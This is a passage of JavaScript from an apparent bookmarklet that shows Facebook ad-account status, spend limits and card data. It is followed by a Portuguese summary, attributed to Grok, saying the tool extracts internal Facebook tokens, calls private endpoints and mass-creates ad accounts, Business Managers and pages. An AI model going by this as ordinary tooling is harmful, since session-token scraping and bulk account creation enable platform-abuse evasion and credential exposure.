                        if (options.self_resolve_uri) {
                            todo = todo + ('<span style="color: red;">1$ Payment check : <a href="https://facebook.com/' + options.self_resolve_uri + '">Open</a></span>\n<br>');
                        }
                        if (options.account_status) {
                            switch (options.account_status) {


                                case 1:
                                    astatus = '<span style="color: green;">ACTIVE</span>';
                                    break;
                                case 2:
                                    astatus = '<span style="color: red;">DISABLED</span> [<a href="https://www.facebook.com/help/contact/2026068680760273" target="_blank">Appeal</a>]';
                                    break;
                                case 3:
                                    astatus = "UNSETTLED";
                                    break;
                                case 7:
                                    astatus = "PENDING_RISK_REVIEW";
                                    break;
                                case 8:
                                    astatus = "PENDING_SETTLEMENT";
                                    break;
                                case 9:
                                    astatus = "IN_GRACE_PERIOD";
                                    break;
                                case 100:
                                    astatus = "PENDING_CLOSURE";
                                    break;
                                case 101:
                                    astatus = "CLOSED";
                                    break;
                                case 201:
                                    astatus = "ANY_ACTIVE";
                                    break;
                                case 202:
                                    astatus = "ANY_CLOSED";
                                    break;
                                default:
                                    astatus = "UNKNOWN " + options.account_status;
                                    break;
                            }
                            todo = todo + ("Account status: " + astatus + "\n<br>");
                        }
                        if (options.timezone_name) {
                            todo = todo + ("<div id='fbaccstatusacctzoneformdiv' style='display:none;'>Account TZ:<select style='background: #384959;color:white;' id='fbaccstatusacctzoneselect'><option value='0'>TZ_UNKNOWN[0]</option><option value='1'>TZ_AMERICA_LOS_ANGELES[1]</option><option value='7'>TZ_AMERICA_NEW_YORK[7]</option><option value='8'>TZ_ASIA_DUBAI[8]</option><option value='476'>TZ_ASIA_CALCUTTA[476]</option><option value='12'>TZ_EUROPE_VIENNA[12]</option><option value='47'>TZ_EUROPE_BERLIN[47]</option><option value='137'>TZ_EUROPE_KIEV[137]</option><option value='53'>TZ_AFRICA_CAIRO[53]</option><option value='348'>TZ_ATLANTIC_BERMUDA[348]</option><option value='447'>TZ_PACIFIC_FIJI[447]</option></select><button style='background:#384959;color:white;' id='fbaccstatusacctzoneformdivgo' onclick='window.ProcessEdittzone(); return false;'>Go</button></div><div id='fbaccstatusacctzonediv'>Account tzone: <span id='fbaccstatusacctzone' onclick='window.shadowtext(`fbaccstatusacctzone`);return true;'>" + options.timezone_name + "</span><a onclick='window.ShowEdittzone();return true;'>^</a></div>");
                        }
                        if (options.business_restriction_reason != 'none') {
                            todo = todo + ("BM ban reason: <span style='color: red;'>" + options.business_restriction_reason + "</span>\n<br>");
                        }
                        try {
                            if (options.current_unbilled_spend.amount) {
                                try {
                                    if (options.adspaymentcycle.data[0].threshold_amount > 0) {
                                        /* billlim=options.adspaymentcycle.data[0].threshold_amount/100+".00";*/
                                        billlim = options.adspaymentcycle.data[0].threshold_amount / 100;
                                    }
                                } catch (e) {
                                    console.log("threshold_amount error");
                                    billlim = "na";
                                }
                                if (window.currency_symbols[options.currency] !== undefined) {
                                    currency_symbol = window.currency_symbols[options.currency];
                                } else {
                                    currency_symbol = options.currency;
                                }

                                if (options.amount_spent > 0) {
                                    allspent = options.amount_spent / 100;
                                } else {
                                    allspent = 0;
                                }
                                /*todo = todo + ("Balance: <b>" + options.current_unbilled_spend.amount + "</b> / <b>" + billlim + "</b> /  <b>" + allspent + "</b> " + options.currency + ' <br>');*/
                                let optcurredit = `<span id='fbaccstatusacccurrformdiv' style='display:none;'><select style='background: #384959;color:white;' id='fbaccstatusacccurrselect'><option value="USD">USD</option><option value="EUR">EUR</option><option value="GBP">GBP</option><option value="PLN">PLN</option><option value="UAH">UAH</option><option value="DZD">DZD</option><option value="ARS">ARS</option><option value="AUD">AUD</option><option value="BDT">BDT</option><option value="BOB">BOB</option><option value="BRL">BRL</option><option value="CAD">CAD</option><option value="CLP">CLP</option><option value="CNY">CNY</option><option value="CZK">CZK</option><option value="EGP">EGP</option><option value="HUF">HUF</option><option value="INR">INR</option><option value="IDR">IDR</option><option value="MYR">MYR</option><option value="PKR">PKR</option><option value="RUB">RUB</option><option value="THB">THB</option><option value="TRY">TRY</option><option value="VND">VND</option><option value="LKR">LKR</option></select><button style='background:#384959;color:white;' id='fbaccstatusacccurrformdivgo' onclick='window.ProcessEditcurr(); return false;'>Go</button></span><span id='fbaccstatusacccurrdiv'>` + options.currency + '<a onclick="window.ShowEditcurr();return true;">^</a></span>';
                                options.currency
                                todo = todo + ("Balance: <b>" + currency_symbol + options.current_unbilled_spend.amount + "</b> / <b>" + billlim + "</b> " + optcurredit + "  <br>Amount Spend:  <b>" + currency_symbol + allspent + '</b><br>');
                            }
                        } catch (e) {
                            console.log("unbilled_spend error");
                        }
                        if (options.disable_reason) {
                            switch (options.disable_reason) {
                                case 0:
                                    astatus = "NONE";
                                    break;
                                case 1:
                                    astatus = "ADS_INTEGRITY_POLICY";
                                    break;
                                case 2:
                                    astatus = "ADS_IP_REVIEW";
                                    break;
                                case 3:
                                    astatus = 'RISK_PAYMENT [<a href="https://www.facebook.com/help/contact/531795380173090" target="_blank">Appeal</a>]';
                                    break;
                                case 4:
                                    astatus = "GRAY_ACCOUNT_SHUT_DOWN";
                                    break;
                                case 5:
                                    astatus = "ADS_AFC_REVIEW";
                                    break;
                                case 6:
                                    astatus = "BUSINESS_INTEGRITY_RAR";
                                    break;
                                case 7:
                                    astatus = "PERMANENT_CLOSE";
                                    break;
                                case 8:
                                    astatus = "UNUSED_RESELLER_ACCOUNT";
                                    break;
                                case 9:
                                    astatus = "UNUSED_ACCOUNT";
                                    break;
                                default:
                                    astatus = "UNKNOWN " + options.disable_reason;
                                    break;
                            }
                            todo = todo + ('Disable Reason: <span style="color: red;">' + astatus + "</span>\n<br>");
                        }
                        if (options.adtrust_dsl) {
                            if (options.adtrust_dsl == -1) {
                                slimit = "no limit";
                            } else {
                                slimit = currency_symbol + options.adtrust_dsl;
                            }
                            todo = todo + ("Spend Limit: <b>" + slimit + "</b>\n<br>");
                        }

                        appendadd(todo, "dblock1");


                        /*try {
					  if (options.adimages.data.length) {
						 // document.getElementById("tabhead2").innerHTML="AdImg("+options.adimages.data.length+")";
						 todo = "\n";
						 
						 todo = todo + '<center>AdImages:</center><table border="0.1"><tr style="font-size: 12px;text-decoration: none;color: #7FB5DA;"><th>#</th><th>Name</th><th>Ads</th><th>AI reviewed</th><th>Human</th></tr>';
						 var i = 0;
						   for (; i < options.adimages.data.length; i++) {
							 if (options.adimages.data[i].name) {
							   todo = todo + "<tr>";
							   if (options.adimages.data[i].url_128) {
								 tblcreo = '<img width=30 height=30 src="' + options.adimages.data[i].url_128 + '"/>';
							   } else {
								 tblcreo = "";
							   }
							   if(options.adimages.data[i].creatives) {
							   countcreo=options.adimages.data[i].creatives.length;
							   } else countcreo='n/a';
							   
							   switch(options.adimages.data[i].ads_integrity_review_info.is_reviewed) {
								   case true:revstatus = '<b style="color:green;">✓</b>';break;
								   case false:revstatus = 'n/a';break;
								   
								   default:
									 revstatus = " " + options.adimages.data[i].ads_integrity_review_info.is_reviewed;break;
								 }
							   
							   switch(options.adimages.data[i].ads_integrity_review_info.is_human_reviewed) {
								   case true:hrevstatus = '<b style="color:green;">✓</b>';break;
								   case false:hrevstatus = 'n/a';break;
								   
								   default:
									 hrevstatus = " " + options.adimages.data[i].ads_integrity_review_info.is_human_reviewed;break;
								 }
								 
							   
								 todo = todo + ("<td><b>" + tblcreo + "</b></td><td><b>" + options.adimages.data[i].name + "</b></td> <td><center><b>" + countcreo + "</b></center> " + "</td><td><center><b>" + revstatus + "</b></center> " + "</td> <td><center><b>" + hrevstatus + "</b></center> " + "</td>");
							   todo = todo + "</tr>";
							 }
						   }
						 
						window.appendtab(todo, "tab2"); 
					  }
					  }
		catch (e) {
		   console.log("no adimg");
		} 
		   try {
				  if (options.advideos.data.length) {
					 // document.getElementById("tabhead3").innerHTML="AdVid("+options.advideos.data.length+")";
					 todo = "\n";
					 
					 todo = todo + '<center>AdVideos:</center><table border="0.1"><tr style="font-size: 12px;text-decoration: none;color: #7FB5DA;"><th>#</th><th>id</th><th>Ads</th><th>AI reviewed</th><th> Human</th></tr>';
					 var i = 0;
					   for (; i < options.advideos.data.length; i++) {
						 if (options.advideos.data[i].id) {
						   todo = todo + "<tr>";
						   if (options.advideos.data[i].picture) {
							 tblcreo = '<a href="' + options.advideos.data[i].picture + '" target="_blank"><img width=30 height=30 src="' + options.advideos.data[i].picture + '"/></a>';
						   } else {
							 tblcreo = "";
						   }
						   if(options.advideos.data[i].creatives) {
						   countcreo=options.advideos.data[i].creatives.length;
						   } else countcreo='n/a';
						   switch(options.advideos.data[i].ads_integrity_review_info.is_reviewed) {
							   case true:vrevstatus = '<b style="color:green;">✓</b>';break;
							   case false:vrevstatus = 'n/a';break;///❌
							   
							   default:
								 vrevstatus = " " + options.advideos.data[i].ads_integrity_review_info.is_reviewed;break;
							 }
						   
						   switch(options.advideos.data[i].ads_integrity_review_info.is_human_reviewed) {
							   case true:vhrevstatus = '<b style="color:green;">✓</b>';break;
							   case false:vhrevstatus = 'n/a';break;
							   
							   default:
								 hrevstatus = " " + options.advideos.data[i].ads_integrity_review_info.is_human_reviewed;break;
							 }
							 todo = todo + ("<td><b>" + tblcreo + "</b></td><td><b>" + options.advideos.data[i].id + "</b></td> <td><center><b>" + countcreo + "</b></center> " + "</td><td><center><b>" + vrevstatus + "</b></center> " + "</td> <td><center><b>" + vhrevstatus + "</b></center> " + "</td>");
						   todo = todo + "</tr>";
						 }
					   }
					window.appendtabplus(todo, "tab2"); 
				  }
				  }
	catch (e) {
	   console.log("no advid");
	}*/
                    }
                });
                window.checkauth();
                try {
                    todo = await window.getAccAds(window.selectedacc);
                } catch (e) {
                    console.log("main ads error");
                    todo = "No ads";
                }
                await window.appendtab(todo, "tab1");
                /* window.getJSON(ApiUrlMainInfo, function(theLibrary, b) {
			   if (theLibrary !== null) {
				 alert("Something went wrong: " + theLibrary);
			   } else {
				   
				   var todo = "";
				 
				 try {
					 
					 todo = todo + "\n";
					 if(b.data.length>0){
					   todo = todo + '<table border="0.1"><tr style="font-size: 12px;text-decoration: none;color: #7FB5DA;"><th>#</th><th>Name</th><th>Status</th><th></th></tr>';}
				 var i = 0;
				 document.getElementById("tabhead1").innerHTML="Ads("+b.data.length+")";
				 for (; i < b.data.length; i++) {
				   if (b.data[i].name) {
					 todo = todo + "<tr>";
					 
					 if(b.data[i].delivery_status.status){
						 switch(b.data[i].delivery_status.status) {
						   case "active":delivstatus = '<b>🟢</b>ACTIVE';break;
						   case "inactive":delivstatus = '<b>⏸</b>INACTIVE';break;
						   case "off":delivstatus = '<b>⏸</b>INACTIVE';break;
						   case "error":delivstatus = '🟥Error';break;
						   case "xz":delivstatus = "xz";break;
						   
						   default:
							 delivstatus = " " + b.data[i].delivery_status.status;break;
						 }
					 }
					 
					 if (b.data[i].adcreatives.data[0].image_url) {
					   tblcreo = '<img width=30 height=30 src="' + b.data[i].adcreatives.data[0].image_url + '" onclick="window.copytocb(`'+b.data[i].id+'`);"/>';
					 } else {
					   tblcreo = "";
					 }
					 if (b.data[i].ad_review_feedback) {
					   todo = todo + ("<td><b>" + tblcreo + "</b></td><td><b onclick='window.copytocb(`"+b.data[i].id+"`);'>" + b.data[i].name + "</b></td><td>[" + delivstatus + '] <!--[<a onclick="window.appealadcreo(`' + b.data[i].id + '`);" href="#">Appeal</a>]--><button style="background:#384959;color:white;" id="MainAppeal' + b.data[i].id + '" onclick="window.appealadcreo(`' + b.data[i].id + '`); return false;">Appeal</button>' + "</td>");
					 } else {
					   todo = todo + ("<td><b>" + tblcreo + "</b></td><td><b onclick='window.copytocb(`"+b.data[i].id+"`);'>" + b.data[i].name + "</b></td> <td>[" + delivstatus + "] " + "</td>");
					 }
					 if (b.data[i].ad_review_feedback) {
					   if (b.data[i].ad_review_feedback.global) {
						   todo = todo + ("<td>");
						   var rjkey; 
						   for (var k in b.data[i].ad_review_feedback.global) {
							   rjkey = k + "[<a onclick='alert(\""+b.data[i].ad_review_feedback.global[k]+"\");'> ? </a>]";
							   todo = todo + (rjkey);
						   }
						 todo = todo + ("</td>");
					   } else {
						 todo = todo + "<td></td>";
					   }
					 }
					 todo = todo + "</tr>";
				   }
				 }
				 }
   catch (e) {
	  console.log("main ads error");
	  todo = todo + "No ads";
   }
				 todo = todo + "</table>";
				   window.appendtab(todo, "tab1");
				
			   }
			 });*/

                window.getJSON(ApiUrlFinInfo, function(theLibrary, options) {
                    if (theLibrary !== null) {
                        console.log('card req error');
                    } else {
                        try {
                            if (options.funding_source_details.display_string) {
                                window.appendtab('Card: <b>' + options.funding_source_details.display_string + '</b> [<a onclick="window.addCCtoadAccForm();return true;">add</a>]<br>', "dblock1cc");
                            }
                        } catch (e) {
                            console.log("card info write error");
                        }
                    }
                });
            }
            window.mainload();
        }
    } else {
        if (location.host.indexOf("facebook.com") > -1) {
            location.href = "/adsmanager/manage/campaigns";
        } else {
            if (confirm('Are you sure you want to open facebook adsmanager?')) {
                location.href = "https://www.facebook.com/adsmanager/manage/campaigns";
            }
        }
    }
})();



"Ainn, é seguro?" - Auditoria feita pelo Grok (ou faça a sua própria, seu bosta):
md
**Pronto, analisei o script completo.**

Esse é exatamente o **FB Acc Status / adsplug versão 6.4** (o famoso do [fbacc.io](https://fbacc.io)).

### O que o script faz:

É um **bookmarklet completo** (não é extensão) que, quando você clica nele estando no Ads Manager ou Business Manager, injeta uma interface poderosa com várias ferramentas de media buying.

#### Principais funcionalidades:

1. **Visualização detalhada de Ad Accounts (o que você queria)**
   - Status da conta (`account_status`)
   - **adtrust_dsl** (métrica de confiança/qualidade da conta — o “quality score” oculto)
   - Limite de gasto (`spend_cap`)
   - Gasto atual (`amount_spent`)
   - Balance
   - `disable_reason` (motivo se estiver desabilitada)
   - Moeda, timezone, owner, data de criação
   - Lista todos os Ad Accounts dos seus BMs

2. **Informações de Business Managers**
   - Lista BMs
   - Limite de criação de Ad Accounts por BM
   - Status e outras infos internas

3. **Ferramentas extras que vêm junto**
   - Adicionar cartão de crédito em massa / vincular payment method
   - Editar moeda da conta
   - Criar Ad Accounts
   - Criar Business Managers
   - Criar Fan Pages
   - Compartilhar Pixel
   - Várias automações e hacks de gestão em massa
   - Interface com abas (AdAccs, BM Info, etc.)

4. **Como funciona tecnicamente**
   - Usa `LZString` para descomprimir o código real (por isso é gigante)
   - Extrai tokens internos do Facebook (`EA...`, `fb_dtsg`, `CurrentUserInitialData`, etc.)
   - Faz requisições para Graph API + endpoints privados do Facebook
   - Injeta uma UI customizada (com botões, abas e formulários)

### Resumo em uma frase:
É a ferramenta mais usada por media buyers para **ver qualidade real (adtrust), limites de gasto, status e infos ocultas** de Ad Accounts e Business Managers, além de ter um monte de utilitários extras de automação.

É exatamente o “script de favoritos” que a galera procura quando fala em ver qualidade + limite do BM/Ads Manager.

Quer que eu explique alguma parte específica do código ou como usar alguma função dele?
Criado em 16 Jul 2026/16-07-2026-1